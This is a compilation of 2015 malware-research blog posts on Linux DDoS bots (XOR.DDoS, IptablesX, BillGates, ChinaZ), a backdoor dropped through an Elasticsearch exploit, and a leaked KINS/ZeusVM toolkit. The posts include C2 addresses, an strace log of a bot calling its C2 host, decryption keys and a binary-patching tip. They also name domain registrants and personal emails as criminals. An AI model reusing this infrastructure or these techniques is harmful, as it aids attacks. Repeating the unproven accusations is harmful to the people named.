Registrant Contact Email: "bm18801463268@163.com"
Sponsoring Registrar: 阿里巴巴通信技术（北京）有限公司（原万网）
Name Server: dns9.hichina.com
Name Server: dns10.hichina.com
Registration Time: 2015-06-06 18:54:24
Expiration Time: 2016-06-06 18:54:24
DNSSEC: unsigned

The detection ratio is not so bad, During the first initial check in VIrusTotal, 4(four) major antivirus products can detect this new variant by their signature already. Good work!! :-)

Sample is shared for researchers via kernelmode-->[LINK]

Indicator for detecting this malware can be defined well in non-Linux platform too, and Mr.Marc Ochsenmeier, our friend and author of PeStudio was demonstrating how the blacklisting of strings used in this ELF can be used to detect this ELF in Windows OS too, prior its checking to anti malware detection utility. Below is the tweet & pic (noted, it is a demonstration only, the strings blacklisted are samples):

@Cyb3rOps The ELF ChinaZ #malware offending indicators #pestudio@MalwareMustDiepic.twitter.com/W9jqYeUZyg

— Marc Ochsenmeier (@ochsenmeier) June 20, 2015

Prologue and additional section

In the end, please care of your NIX box's security, make sure you secure it up properly and know exactly what is running inside. Make backup regularly on the binaries and data too & stay safe!

Due to the rapid abusive activity coming from PRC (people rep of China), and if your infrastructure is not related to and you don't have any business to conduct with them, it would be one of some options to secure your network perimeter by blocking ssh access coming from China and Hongkong networks. Due to the minimum resource for the mentioned list, we made and currently maintain PRC and HK network block data for the purpose, together on the example on how to use them in: hosts.allow (TCP deny rules for multi platform), iptables (drop rules), ipfw (xBSD) and htaccess. So if you are interested please feel free to use them as per it is as per announced in the below tweet, if any additional or correction for the list please ping me here at the blog comment or in the twitter.

I maintain China/HK IP blocklist: https://t.co/ErE2Wozj6q added: 101.227.0.0/16 182.96.0.0/12 43.229.52.0/24 43.255.188.0/24 #MalwareMustDie

— MalwareMustDie, NPO (@MalwareMustDie) June 21, 2015

Some work appreciation from China crooks:

This kind of "I love you" attack always come right after #MalwareMustDie exposing "bad stuff" from PRC/#China :) pic.twitter.com/Ux5xEHVk43

— MalwareMustDie, NPO (@MalwareMustDie) June 22, 2015

#MalwareMustDie!

Background

This post is an actual malware infection incident of the"Linux/XOR.DDoS" malware (please see previous post as reference-->[LINK]) and malware was in attempt to infect a real Linux server.

Incident details:

Source of attack:

An attack was coming from 107.182.141.40 with the below GeoIP details:

"ip": "107.182.141.40",
"hostname": "40-141-182-107-static.reverse.queryfoundry.net",
"city": "Los Angeles",
"region": "California",
"country": "US",
"loc": "34.0530,-118.2642",
"org": "AS62638 Query Foundry, LLC",
"postal": "90017",
"phone": "213"

The attacker was compromising a Linux host via ssh password bruting as per below evidence:

[2015-06-23 01:29:42]: New connection: 107.182.141.40:41625
[2015-06-23 01:29:42]: Client version: [SSH-2.0-PUTTY]
[2015-06-23 01:29:43]: Login succeeded [***/***]

..to then executing a one liner shell (sh) command line below:

..and then the malware initiation commands was executed on the compromised system:

The attacker used web server's (domain:44ro4.cn) panel screenshot taken at the time the attack was in progress:

The IP info of this panel:

"ip": "198.15.234.66",
"hostname": "No Hostname",
"city": "Nanjing",
"region": "Jiangsu",
"country": "CN",
"loc": "32.0617,118.7778",
"org": "AS11282 SERVERYOU INC",
"postal": "210004"

;; QUESTION SECTION:
;44ro4.cn.                      IN      A

;; ANSWER SECTION:
44ro4.cn.               600     IN      A       23.228.238.131
44ro4.cn.               600     IN      A       198.15.234.66

;; AUTHORITY SECTION:
44ro4.cn.               3596    IN      NS      ns2.51dns.com.
44ro4.cn.               3596    IN      NS      ns1.51dns.com.

Infection method, camouflages and overall summary

I examined further the infection source, what it seems is not what it is at all, what looks like zip archives are ELF malware, and what looks like zips are a shell script malware installers, to be clear, see the illustration below:

Rule number 1 in MMD is : Always check under the hood :)

So the bad actor is making a pair of installer and faked it as zip and downloading the exactly same filename of ELF faked as rar. The reason for faking these archives is simply to avoid the filename blocking from several firewall/IDS filtration. This is just unbelievably irritating, isn't it?

This is the Linux/XorDDOS malware we posted before-->[LINK], the post-infection of this malware made the infected machine to act as bot, remotely controlled for malicious process, config, deny IP, daemon and configurations. They are using XOR'ed encryption communication, processes are sent with md5 encoded beforehand. The main function of this malware ELF is for a stealth DDoS attacker botnet.

The important highlight of this incident and the malware used are:

(1) The usage of US infrastructure used for this malware infection (attacker IP from US host, one IP of panel used for infection, two servers for CNC, with the abuse of .ORG domain registration) with the new scheme worth to be exposed & followed in as incident response and awareness of what this threat does. And all of these just happened about 12h ago..

(2) The usage of multiple hosts in this Linux/XorDDoS, in total: four CNCs. Three of those CNCs are hard coded in hostnames (has domain related) and are receiving the callback from the infected machine, while one of the host is functioned as download server which the infected machine is requesting backdoor to download suspected malicious files.

(3) XOR encryption function is used now to decrypt the drops, reading the configuration file downloaded from the remote hosts (yes, what it downloaded seems to be the config file), and for sending the CNC communication data.

Here is the PoC:

These are the CNC interactive calls trapped in the kernels:

Those calls' DNS requests:

- in tcpdump with the timestamp:

08:21:20.078878 IP mmd.bangs.xorddos.40274 > 8.8.8.8: 27458+ A? aa.hostasa.org. (32)
08:21:20.080602 IP mmd.bangs.xorddos.38988 > 8.8.8.8: 44387+ A? ns4.hostasa.org. (33)
08:21:25.092061 IP mmd.bangs.xorddos.45477 > 8.8.8.8: 58191+ A? ns3.hostasa.org. (33)
08:21:25.269790 IP mmd.bangs.xorddos.51687 > 8.8.8.8: 22201+ A? ns2.hostasa.org. (33)

Calls to CNC establishment, I pick only one, each callback does this, noted the way it uses Google DNS:

The CNC callback traffic was encrypted, here is the initial callback taken from two separate environments:

Some decrypting for memo:

Here is what coded in the binary for this part:

Downloader...

..yes, the download function is hard coded in binary:

And also the hard evidence in traffic too:)

Interesting facts

These are the malware project source code files used, it is the set of Linux/XOR.DDoS compile set (in C, without "++"), this went straight to my collection libraries for the future reference, thank's to the bad actor and have a nice day to this malware's coder :-))

The malware autorun installer shell script hard coded in the binary, this is so generic..many ELF malware made in China is using this concept:

The one of typical characteristic of malware is the self-copy to /tmp directory on regex '[a-z]{10}'< this can be used to mitigate the initial execution actually:

Spotted the XOR encryption to be run from installer and "supposedly" to be used on decrypting configuration data, in the sample I cracked the key is BB2FA36AAA9541F0

This is the usage of the encryption above during the installation to self copy the malware file, for reversers, see the comment & trail the code:

-and this..

The ACL function (to deny access by IP) to protect the infected hosts:

Investigation for legals & cleanup process:

The hosts serving CNC are as per checked in the DNS record below:

;; ANSWER SECTION:
aa.hostasa.org.         300     IN      A       23.234.60.143
ns2.hostasa.org.        300     IN      A       103.240.140.152
ns3.hostasa.org.        300     IN      A       103.240.141.54
ns4.hostasa.org.        300     IN      A       192.126.126.64

;; AUTHORITY SECTION:
hostasa.org.            3600    IN      NS      ns4lny.domain-resolution.net.
hostasa.org.            3600    IN      NS      ns1cnb.domain-resolution.net.
hostasa.org.            3600    IN      NS      ns3cna.domain-resolution.net.
hostasa.org.            3600    IN      NS      ns2dky.domain-resolution.net.

;; ADDITIONAL SECTION:
ns3cna.domain-resolution.net. 2669 IN   A       98.124.246.2
ns2dky.domain-resolution.net. 649 IN    A       98.124.246.1
ns1cnb.domain-resolution.net. 159 IN    A       50.23.84.77
ns4lny.domain-resolution.net. 2772 IN   A       98.124.217.1 

Up and alive CNCs are in USA:

"ip": "23.234.60.143",
"hostname": "No Hostname",
"city": "Newark",
"region": "Delaware",
"country": "US",
"loc": "39.7151,-75.7306",
"org": "AS26484 HOSTSPACE NETWORKS LLC",
"postal": "19711"

"ip": "192.126.126.64",
"hostname": "No Hostname",
"city": "Los Angeles",
"region": "California",
"country": "US",
"loc": "34.0530,-118.2642",
"org": "AS26484 HOSTSPACE NETWORKS LLC",
"postal": "90017"

"ip": "103.240.140.152",
"hostname": "No Hostname",
"city": "Central District",
"country": "HK",
"loc": "22.2833,114.1500",
"org": "AS62466 ClearDDoS Technologies"

"ip": "103.240.141.54",
"hostname": "No Hostname",
"city": "Central District",
"country": "HK",
"loc": "22.2833,114.1500",
"org": "AS62466 ClearDDoS Technologies"

The domain HOSTASA.ORG is beyond doubt proven to be used for this malicious purpose, three hostnames fake themself with hostname to look like a DNS servers, which is NOT. Below is the registration data from NAME.COM where it is registered as .ORG, with the Privacy Protection:

Domain Name:"HOSTASA.ORG"
Domain ID: 2D175880649-LROR"
"Creation Date: 2015-03-31T06:56:01Z
Updated Date: 2015-05-31T03:45:36Z"
Registry Expiry Date: 2016-03-31T06:56:01Z
Sponsoring Registrar:"Name.com, LLC (R1288-LROR)"
Sponsoring Registrar IANA ID: 625
WHOIS Server:
Referral URL:
Domain Status: clientTransferProhibited -- http://www.icann.org/epp#clientTransferProhibited
Registrant ID:necwp72276k4nva0
Registrant Name:Whois Agent
Registrant Organization:Whois Privacy Protection Service, Inc.
Registrant Street: PO Box 639
Registrant City:Kirkland
Registrant State/Province:WA
Registrant Postal Code:98083
Registrant Country:US
Registrant Phone:+1.4252740657
Registrant Phone Ext:
Registrant Fax: +1.4259744730
Registrant Fax Ext:
Registrant Email:hostasa.org@protecteddomainservices.com
Tech Email:hostasa.org@protecteddomainservices.com
Name Server:NS3CNA.DOMAIN-RESOLUTION.NET
Name Server:NS1CNB.DOMAIN-RESOLUTION.NET
Name Server:NS2DKY.DOMAIN-RESOLUTION.NET
Name Server:NS4LNY.DOMAIN-RESOLUTION.NET
DNSSEC:Unsigned

Additionally, for the 44RO4.CN domain used, which is registered in DNS pointing to the malware payloads web panel, that is not a coincidence, it is registered under below QQ ID and (maybe fake) name;

Domain Name: 44ro4.cn
ROID: 20141229s10001s73492202-cn
Domain Status: ok
Registrant ID: ji27ikgt6kc203
Registrant: "蔡厚泉 (Cai Hou Sien/Quan)"
Registrant Contact Email: "2511916764@qq.com"
Sponsoring Registrar: 北京新网数码信息技术有限公司
Name Server: ns1.51dns.com
Name Server: ns2.51dns.com
Registration Time: 2014-12-29 10:13:43
Expiration Time: 2015-12-29 10:13:43
DNSSEC: unsigned

Domain   RegistrantID     Name
------------------------------
n1o9n.cn ej55v35357p95m   沈涛
u7ju0.cn ej55v35357p95m   沈涛
568b5.cn ej55v35357p95m   沈涛
93t9i.cn ej55v35357p95m   沈涛
5ntdu.cn ej55v35357p95m   沈涛
v90b8.cn ej55v35357p95m   沈涛
av732.cn ej55v35357p95m   沈涛
iqny7.cn ej55v35357p95m   沈涛
ewkp7.cn ej55v35357p95m   沈涛
8vu55.cn ji27ikgt6kc203   蔡厚泉
tj17e.cn ej55v35357p95m   沈涛
o88pn.cn ji27ikgt6kc203   蔡厚泉

Detection ratio and samples

ELF samples are all in Virus Total with the below links:
(a06.zip) = 3c49b5160b981f06bd5242662f8d0a54
(a07.zip) = bcb6b83a4e6e20ffe0ce3c750360ddf5
(a08.zip) = a99c10cb9713770b9e7dda376cddee3a
(a09.zip) = d1b5b4b4b5a118e384c7ff487e14ac3f
(a10.zip) = 83eea5625ca2affd3e841d3b374e88eb

Fellow researchers & industry can grab the sample from kernelmode here-->[LINK]

#MalwareMustDie!

The background

Elasticsearch [link] has vulnerability which is now exploited in the wild, this post is one of the attack which aiming the CVE-2015-1427 [link], quoted: a vulnerability in Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script. Elasticsearch's Groovy dynamic scripting disabled by default from v1.4.3 due to this vulnerability [link], which is a recommendable way to mitigate this on going attack.

In this incident, the attacker is using the shell command to download and execute the malware shell script file, to collect sensitive information of the unix system hosted by Elasticsearch and send it to the remote host, parallel with download+install the ELF malware functioned as the botnet agent backdoor & downloader on the victim's host.It also audits the victim's system with Lynis [link] and send the result to the remote host too.

Incident information

Attacker IP addresses and its origin;

218.213.77.20 ||AS9293 | 218.213.77.0/24 | HKNET | HK | hknet.com | HKNet Company Ltd/NTT Com Asia Ltd
218.213.77.196||AS9293 | 218.213.77.0/24 | HKNET | HK | hknet.com | HKNet Company Ltd/NTT Com Asia Ltd
106.39.95.195 ||AS4847 | 106.39.0.0/16   | CNIX  | CN | chinatelecom.com.cn | China Networks Inter-Exchange

Time:

2015-06-18 10:07:54+02:00 to 2015-06-24 12:04:29+02:00

Attack pattern used:

Which is matched to a publicly shared exploit proof of concept code here:

Payloads:

[1] Script: (filesender1.sh) = dcc78c4a1d940860566830a06331f2a5 5,726 bytes
[2] ELF   : (dnler) = 982dd916fe4111f01233f8c928293383 806,314 bytes

Analysis:

[1] Script: (filesender1.sh)

It is a (1) shell script (sh) file, (2) defining echo command as print function and (3) storing the long list of NIX system configuration file in "filelst" variable:

The full list of the "filelst":

And then also storing the long list of the NIX command line in variable "cmdlst" with the same method above with the full list of commands as below:

In the main() function of the malware script, the initiation process was executed by setting the CNC, URL and the CHROOT variable which will be used for the next functions:

The (4)user detection and (5) hostname is set in here:

The two functions of preparefile() and preparecmdresult() are where it started to perform the malicious actions. The (6) preparefile() is sending the copy of your file that can be grabbed as per listed "filelst" to be copied in to the directory under /tmp that was defined in CHROOT above:

And the (7)preparecmdresult() is executing the result of the command lines listed in the "cmdlst" and save it under /tmp with the path as per described in the picture below:

The tarfile() functions is there to (8) archive all of the result of the command line executed output AND the system copied files, and sendfile() functions is for (9) sending them under specific URL in the remote host using cURL or wget with the POST method. By this URL we can see the OS type, hostname and message from the infected server. A botnet scheme indeed:

Those functions listed above is (10) executed in the main() function next lines in the bottom of the script. After the execution the script is (11) downloading lynix (the UNIX server legit audit tool, and run it with saving the audit result that is saved under save malicious directory made in /tmp to the remote host using the sendfile() function. Not only that the script is (12) downloading the ELF malware from the remote host and executing it from the same malicious directory too. And then the script is deleting all of the trace of the directory and files saved during the infection. The code is below:

We don't share the complete code of this script for the security policy, and this script was uploaded to the Virus Total. We haven't seen this before but the similar shell scripts were found plenty in the wild, so this malware can be categorized as a "Shell Backdoor".

[2] ELF : (dnler) Linux/DES.Downloader

The ELF file is having the below characteristic:

This sample was downloaded from the remote host during infection process as per recorded in the log below:

the malware/botnet CNC host is located in here:

"ip": "218.213.77.197 / 218.213.77.0/24",
"hostname": "No Hostname",
"city": "Hong Kong",
"country": "HK",
"loc": "22.2833,114.1500",
"org": "AS9293 NTT Com Asia Limited"

What is this ELF malware

As a summary, this malware will run under current Elesticsearch's user privilege or permission and check whether it can escalate its privilege (to root). After the self-checking for the current version and comparing to the previous installation, it will continue to run initially, or stopped if the previous running instance was detected, or requesting the update to the motherhost. During the initial installation, it will register an autorun in crontab, And it runs as daemon to then contacting (and keep on contacting regularly) the motherhost via HTTP to poke and requesting a download, and then to decrypt the part of downloaded (GIF in this case..can be changed) data (by DES2) and save it in the work directory to be executed. The dropped data (in this case, this also can be changed) is a shell script as per described in the section above.

We never see this type of ELF malware before, so we are naming it as Linux/DES.Downloader, this threat was detected by Benkow, so to honor his effort, internally in MMD I will refer it as Benloader :)

Some reversing snapshot

A trace of the malware is as a downloader:

..is having the DES2 decryption with the below key:

This downloader is self checking its version after installed first time by comparing the value stored in the infected machine:

To the fellow researchers and malware reversers (only!): The malware is designed to run only one time, to run it again is not that difficult, and I suggest to do what I did, patching the malware ELF binary in 0x0804a14b to not comparing EDX to EDI (by changing the value \39\FA to whatever values you prefer) and that makes the malware can run as initial everytime you executed, since it won't compare the previous version :)

Further, the kernel dumped syscall shown during the condition of EDX = EDI shows some breakpoints that can be used for more analysis:

And also a botnet client/agent. The user agent and HTTP method used for requesting remote host with the hostname basis encoded in the binary:

The attempt to make autorun in the crontab:

And many more interesting data..

How does it run?

Upon executed the malware will run under one PID as per shown in illustration below:

Then as a botnet nodes it started to poke the CNC by sending the below initial HTTP request:

Following by the second request that is getting the response of the "GIF image file" download:

this is the image...

..this is the detail of that GIF:

Looks weird since the fact that GIF terminator 0x3b at offset 807(dec), 5497 bytes from end of file, meaning we have 5k of unknown data in there.

After the initial and GIF downloaded we have the same shell script saved in the malware working directory with the size more or less the same (5,726 bytes) as the unknown blob of data. There is a theory that have not been proved yet about this: So assuming the theory of DES encryption that stated: "Using (xx)DES does not change the string's length but it will be rounded to the next (xx bit)boundary" is correct (but forgive me if I am wrong here), we can assume (as a possibility) that what was in the GIF unknown blob is the encrypted malware shell script version itself. NOTED: This part is to be edited upon proven later on.

After the GIF was downloaded, the botnet traffic requested by the malware are replied by the HTTP response 204, and constantly looping:

The overall initial three request in PCAP:

The next communication is an HTTPS, which is a sign that the shell script was executed via wget or curl with the HTTPS connection to the remote host. as per stated in the shell script section.

To PoC the downloaded file (script) was executed, I also seek for the kernel write syscall requesting for writing or copy the file as per described in above shell script. Be noted that during the ELF malware is executed there is no companion script was installed/placed in there. ..And I found the list of the system calls querying the list of files in the shell script and these data is not even hard coded in the ELF binary itself, this those calls were made under the various new PID that can be occurred after shell execution:

Detection ratio and sample

The detection ratio of the ELF malware one is zero:

The detection Ratio of the Shell Script backdooris also zero:

The sample will be shared in the kernelmode only-->[LINK]

#MalwareMustDie!

The background

Historically, MalwareMustDie, NPO (MMD) is the first entity who detected this malware around May last year and named it as Linux .Iptablesx|s on our last year's alert MMD-0025-2014 [link] released on June 15, 2014. And we build malware repository for this ELF family for sharing samples and trend for researchers and industries on kernelmode started from September 4th 2014 [link], since the threat was gone so wild at the time and there was so few information about this malware that causing low awareness and detection ratio, so we managed all we can to suppress the growth of infection rate.

The DDoS attacks originated from this malware, in quantity of incidents and traffic used, was so massive in 2014 causing some warning was released from important security entities in September 2014, as per announced by Prolexic (thank you for mentioning MalwareMustDie) [link] in their Threat Advisory with "High Risk" level, following by Akamai's warning referred to the Prolexic's advisory announcing the world wide warning [link] of .IptableS|X.

Afterward, Linux .IptableS / .IptablesX ELF malware was still be detected in the wild until the end of October 2014, but since November 2014 we did not find any significant wave of infection using these family, wiped by the emerge of many other China DDoS new malware families that we detected also afterwards. From the early this year (January 2015), we started to assume the malware popularity and development of .IptabLes|x was stopped..

However, on June 27th 2015 I was informed in the twitter by a friend @TinkerSec for what was suspected as Linux/ChinaZ infection. I supported him with ELF binary sample's "real time" analysis in twitter as per shown in his report below:

Malware Detection & Analysis - Discovery by @TinkerSec& Analysis by @MalwareMustDie - Consolidated with @Storify - https://t.co/UYO9KDniOr

— Tinker (@TinkerSec) June 26, 2015

Straight to investigation: The shellshock, ChinaZ, .IptabLes|x and BillGates

This report is not into details for each malware's technical analysis since the involved malware in this threat are the well-known type and previously analyzed ones (I posted them in here, in repository kernelmode and in VirusTotal too), but I will highlight the infection scheme to clarify what this threat actually is, and to point some information that can lead law enforcement to the actor behind the scene.

The received two reports are coming from two different time, different unrelated sources of the two pattern of shellshock attacks as per shown below, again, thank's to @tinkersec and @benkow for the share:

Let's see it as clean code (always beautify any malcode we read, we are not crooks, we should read it plain, clear and structured), there are many clue inside of these one-liner infection command actually, see below:

This shellshock code itself is showing the attackers IP address for both attacks are coming from 58.213.123.107 and the shellshock commands used were a common way seen for executing bash command via User-agent() and a direct GET command with shellshock vulnerability strings. This shellshock code is showing us, in a glimpse, that the ChinaZ malware crooks is spreading their ChinaZ payloads < what exactly ChinaZ bad actors want us to think. So let's see further..

The second fact..the first & the second shellshock attacks in log were detected by the different researchers in different continents and different infecting time (June 26 and June 30)), but it is having the same ELF payload:

It's pretty odd for me to find shellshock same ELF malware that lasts more than 3 days, specially to Linux/ChinaZ since they have their own codes and builders..weird. Why?

And look at what has been "specifically found" in that payload sample:

This is the signature of the Linux/.IptableS|X malware! There is no ChinaZ source code is having IptabLes|x interactive shutdown and restart command like this. See how the coder try to hide those within bunch of real iptables (note the characters) firewall shutdown command. Moreover, it makes so much sense why there are command closefirewall() to stop the running iptables service instance in the victim system for the purpose of infecting IptabLes|x malware:

Now many mysteries are solved eventually :-)

Why they did this? Why they use IptabLes|x ? So far the conclusion is apparently either ChinaZ crooks starting to drop their original payload (because we reversed and exposed them way too much?) ..Or there's someone wants to play as "ChinaZ" and spread IptablesS|X instead.
Well..okay, let's dig further information into the panel used for the infection source, and let's see what else we can gather over there now :)

Okay, for you who haven't seen these web panel before, it is a modified HFS web server (a good and legit web server, my fav tool in work actually) Chinese version on 202.103.243.104 and contains .Iptables|X x32 and x64 versions and.. a Linux/BillGates ELF DDoS malware too! Wow, so now we are facing the fact that we may have a "ChinaZ crooks" using .IptableS|X and Linux/BillGates as payload. Noted: there are so many download score for the x32 version of IptableS|X (see in the screenshot, more than 4,000 hits for download) explaining there were so many running Linux box may got hit by shellshock infection script sent by attacker and downloading by this malware. Yes, even now, shellshock still indeed effective to spread bash-basis attacks/malware infection.

The attacker IP is running as bot to infect all linux server's with the web server scanned under below detail:

58.213.123.107||4134 | 58.208.0.0/12 | CHINANET | CN | chinatelecom.com.cn
ChinaNet Jiangsu Province Network
{
"ip": "58.213.123.107",
"hostname": "No Hostname",
"city": "Nanjing",
"region": "Jiangsu",
"country": "CN",
"loc": "32.0617,118.7778",
"org": "AS4134 No.31,Jin-rong Street"
}

And the panel is running in IP with the below detail:

202.103.243.104||4134 | 202.103.192.0/18 | CHINANET | CN | chinatelecom.com.cn 
ChinaNet Guangxi Province Network
{
"ip": "202.103.243.104",
"hostname": "bbs.gliet.edu.cn",
"city": "Guilin",
"region": "Guangxi",
"country": "CN",
"loc": "25.2819,110.2864",
"org": "AS4134 No.31,Jin-rong Street"
}

Below is the PoC of the panel domain used, could be a hacked server of an educational network in China.. or could be a hacked domain instead:

Malware analysis

The technical analysis online I did on Linux/IptableS|x sample while suporting @TinkerSec on twitter (see the tweet I embedded above for the link) is correct, so I am not going to add more details on those, and the point is, it highlighted this CNC information:

"domain: v8.f1122.org  
IP: 61.160.212.172
port 1122   "

Detail information of the CNC domain and IP address

.IptabLes|x CNC information:

61.160.212.172| - |23650 | 61.160.212.0/24 | CHINANET-JS-AS | CN | chinatelecom.com.cn
ChinaNet Jiangsu Province Network
{
"ip": "61.160.212.172",
"hostname": "v8.f1122.org",
"city": "Nanjing",
"region": "Jiangsu",
"country": "CN",
"loc": "32.0617,118.7778",
"org": "AS23650 AS Number for CHINANET jiangsu province backbone"
}

"Domain Name:F1122.ORG
Domain ID: D174941520-LROR
Creation Date: 2015-01-03T06:46:16Z
Updated Date: 2015-03-05T03:45:24Z
Registry Expiry Date: 2016-01-03T06:46:16Z
Sponsoring Registrar:GoDaddy.com, LLC (R91-LROR)"
Sponsoring Registrar IANA ID: 146
WHOIS Server:
Referral URL:
Domain Status: clientDeleteProhibited -- http://www.icann.org/epp#clientDeleteProhibited
Domain Status: clientRenewProhibited -- http://www.icann.org/epp#clientRenewProhibited
Domain Status: clientTransferProhibited -- http://www.icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited -- http://www.icann.org/epp#clientUpdateProhibited
Registrant "ID:CR184376377"
Registrant "Name:xihuang li"
Registrant Organization:
Registrant "Street: shanxishengdatongshibeijie23hao"
Registrant "City:shanxishengdatongshi"
Registrant "State/Province:shanxisheng"
Registrant Postal Code:037000
Registrant Country:CN
Registrant "Phone:+86.3522036283"
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant "Email:wendingba@163.com"

The Linux/BillGates is as usual, please find our previous MMD posts about these samples, this one has nothing to add. The CNC information is as per below:

Domain: udp.f1122.org
IP: 61.160.213.18
Port: 25001

Proof of the callback to CNC downloading configuration file:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP
sendto(5, "W\204\1\0\0\1\0\0\0\0\0\0\3udp\5f1122\3org\0\0\1\0\1", 31, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("DNS")}, 16)
recvfrom(5, "W\204\201\200\0\1\0\1\0\2\0\n\3udp\5f1122\3org\0\0\1\0\1\300"..., 1024, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("DNS")}, [16])
connect(4, {sa_family=AF_INET, sin_port=htons(25001), sin_addr=inet_addr("61.160.213.18")}, 16)
open("/XXXX/conf.n", O_RDWR|O_CREAT, 0644)
write(5, "\0\364\1\0\0002\0\0\0\350\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\2\0\0\0"..., 69)
close(5)

Proof that the CNC is ESTABLISHING connection from the malware:

$ date
Wed Jul  1 15:25:44 JST 2015
 (snips)
28443 28453 txt    REG        8,6  1223123 1048605 /sudp
28443 28453  0u    CHR        1,3      0t0    1192 /dev/null
28443 28453  1u    CHR        1,3      0t0    1192 /dev/null
28443 28453  2u    CHR        1,3      0t0    1192 /dev/null
28443 28453  3uW   REG        8,1        5  261598 /tmp/gates.lod
28443 28453  4u   "IPv4  127246603      0t0  TCP MMD:32977->61.160.213.18:25001 (ESTABLISHED)"

The above mentioned CNC hostname in DNS shows:

;; QUESTION SECTION:
;udp.f1122.org.                 IN      A

;; ANSWER SECTION:
udp.f1122.org.          600     IN      A       61.160.213.18

;; AUTHORITY SECTION:
f1122.org.              600     IN      NS      f1g1ns1.dnspod.net.
f1122.org.              600     IN      NS      f1g1ns2.dnspod.net.

;; ADDITIONAL SECTION:
f1g1ns1.dnspod.net.     350     IN      A       113.108.80.138
f1g1ns1.dnspod.net.     350     IN      A       125.39.208.193
f1g1ns1.dnspod.net.     350     IN      A       180.153.9.189
f1g1ns1.dnspod.net.     350     IN      A       182.140.167.166
f1g1ns1.dnspod.net.     350     IN      A       111.30.132.180
f1g1ns2.dnspod.net.     1015    IN      A       115.236.137.40
f1g1ns2.dnspod.net.     1015    IN      A       115.236.151.191
f1g1ns2.dnspod.net.     1015    IN      A       182.140.167.188
f1g1ns2.dnspod.net.     1015    IN      A       101.226.30.224
f1g1ns2.dnspod.net.     1015    IN      A       112.90.82.194

With the IP is located in:

61.160.213.18| - |23650 | 61.160.213.0/24 | CHINANET-JS-AS | CN | chinatelecom.com.cn
ChinaNet Jiangsu Province Network
{
"ip": "61.160.213.18",
"hostname": "udp.f1122.org",
"city": "Nanjing",
"region": "Jiangsu",
"country": "CN",
"loc": "32.0617,118.7778",
"org": "AS23650 AS Number for CHINANET jiangsu province backbone"
}

In the previous ChinaZ report [link] it was shown that the CNC was registered under email bm18801463268@163.com and this time it uses the email of wendingba@163.com, I am sure we have the same crook(s) here. It is nice to inform that we contacted 163.com for more details, and that info to be shared to law enforcement only.So have a nice day to the bad actor, your crime is exposed and all of your malware are reversed and blogged here, using another malware binaries is not gonna stop us nailing you all over the internet, we know all of the stuff you use! ChinaZ MUST Die!

Proof of concept that CNC 58.221.254.153 belongs to ChinaZ: Builder, Hard code & CNC software

Supporting to the cyber crime investigation that follows the case. Our team also has confirmed that the 58.221.254.153 belongs to ChinaZ actor, contains the ChinaZ builder, a windows application, contains the code of ChinaZ in that builder, and using CNC used for ChinaZ.

PoC #1: This is the builder: -->[VT]

If you run it, it will seek for binary templates of ELF (x32 or x64) and windows (x32) in the subfolders, and popping up the menu to build the package under any desired IP. The port number is a fixed number of 29136, encryption used in the templates is not allowing modification for this value, by this, we know this bad actor is not the software coder but a mere player:

The reversing code shows how the builder work, it is a safe application. Sorry I have to do day work so this is only a short peek of my reversing for you, it shows the path of the template binary used for this builder to make it work. If the path doesn't exist the builder will not build anything:

PoC #2: The builder's template is ChinaZ: -->[VT] and [VT]
I am taking the template binary of the builder used of "\\Arch32\\DDosClientTemp32", the x32 template ELF file, to PoC is it the ChinaZ or not. In the previous BLOG about the ChinaZ we disclosed the GitHub URL used to develop the ChinaZ malware, our friend's @benkow suggested to take it as example to make a smart PoC as per below snip code, the marked part are functions that ChinaZ used specifically:

And the code is perfectly matched to the binary value in "\\Arch32\\DDosClientTemp32"

PoC #3: The CNC software of ChinaZ -->[VT]
In the same zip it was found the CNC software of ChinaZ, contains the below files and log:

And if you runs it the CNC software of CNC is run and bound to your port to listen to ChinaZ DDoS client/agent/bot to connect to you:

Based on the 3 PoCs above we are sure beyond any doubt that; Host in 58.221.254.153 that attacked many Linux hosts in the internet with the shellshock attack to infect malware binaries belongs to ChinaZ actor(s), and therefore the ID data stated in previous chapter are all directly related to ChinaZ bad actor(s) in this case and ChinaZ previous post MMD-0032-2015.
Thank Benkow for spotting "stuff" in 58.221.254.153

Samples & Virus Total link

These are the samples I uploaded with correct names in the VirusTotal:
1122.32.ELF.IptableX.DDoS 58eefd9183ac89a1b99dda02e0ab4092
1122.64.ELF.IptableX.DDoS 8d18ddc23603726181ebb77931aa11f3
sudp.Elf.BillGates.DDoS 84d431618cbbbf56fe0cc3d34f62a655

..and all of the samples I share in kernelmode here [link] and in here [link] and also in here [link].

#MalwareMustDie!

The background

KINS (or ZeusVM to be precised) v2.0.0.0 tookit (builder & panel source code) was leaked and spread in all over the internet. On Jun 26th 2015 we were informed (thank you Xylit0l) about this and after several internal discussion, considering that: "Still so many bad guys know about this than good guys.." today we decided to raise warning about this matter by this post. So this is an information to those who may not know about the leaked package yet, and/or maybe want to have the archive of what has leaked from the trusted source.

Together with this warning also we would like to inform that KINS version 3 is on the black market now with the price of 5k according to a certain crook's affiliated forum.

This is a team work, two friends Xylit0l [link] and unixfreaxjp [link] are on the case building this report, testing, recording, screenshots, takedown sites that spread the leaked packages as much as possible,.

What was leaked exactly?

What was leaked is NOT KINS version 2.0.0.0 source code but the KINS version 2.0.0.0 builder binary, as per seen in the below screenshot (taken by Xylit0l)..

..and the panel's source code as per shown in the video embedded to this post. Pictures of KINS used web panels are as the below images (taken by Xylit0l). It shows the classic style of ZeuS botnet panel:

Eventhough the name used by the coder is KINS 2.0.0.0. the builder configuration and the binary generated by the builder is of ZeusVM (version 2.0.0.0) and is a completely different to previous KINS version we announced in here-->[link].

Previous KINS version don't use steganography (way of hiding information by embedding messages within other, seemingly harmless messages, in this case Zeusvm hides configuration codes embedded in JPG file) while this one do, and the generated ZeusVM bot binary is similar to ZeusVM v1 and v2 samples posted in kernelmode repository-->[link] This is why we put ZeusVM in the title of the post, an evidence that KINS has adapted ZeusVM technology in their malware. This is maybe a bit confusing if you don't follow recent ZeuS malware evolution time frame, but it's the fact of what had been found & analyzed by experts.

Enough talking, show us the package!

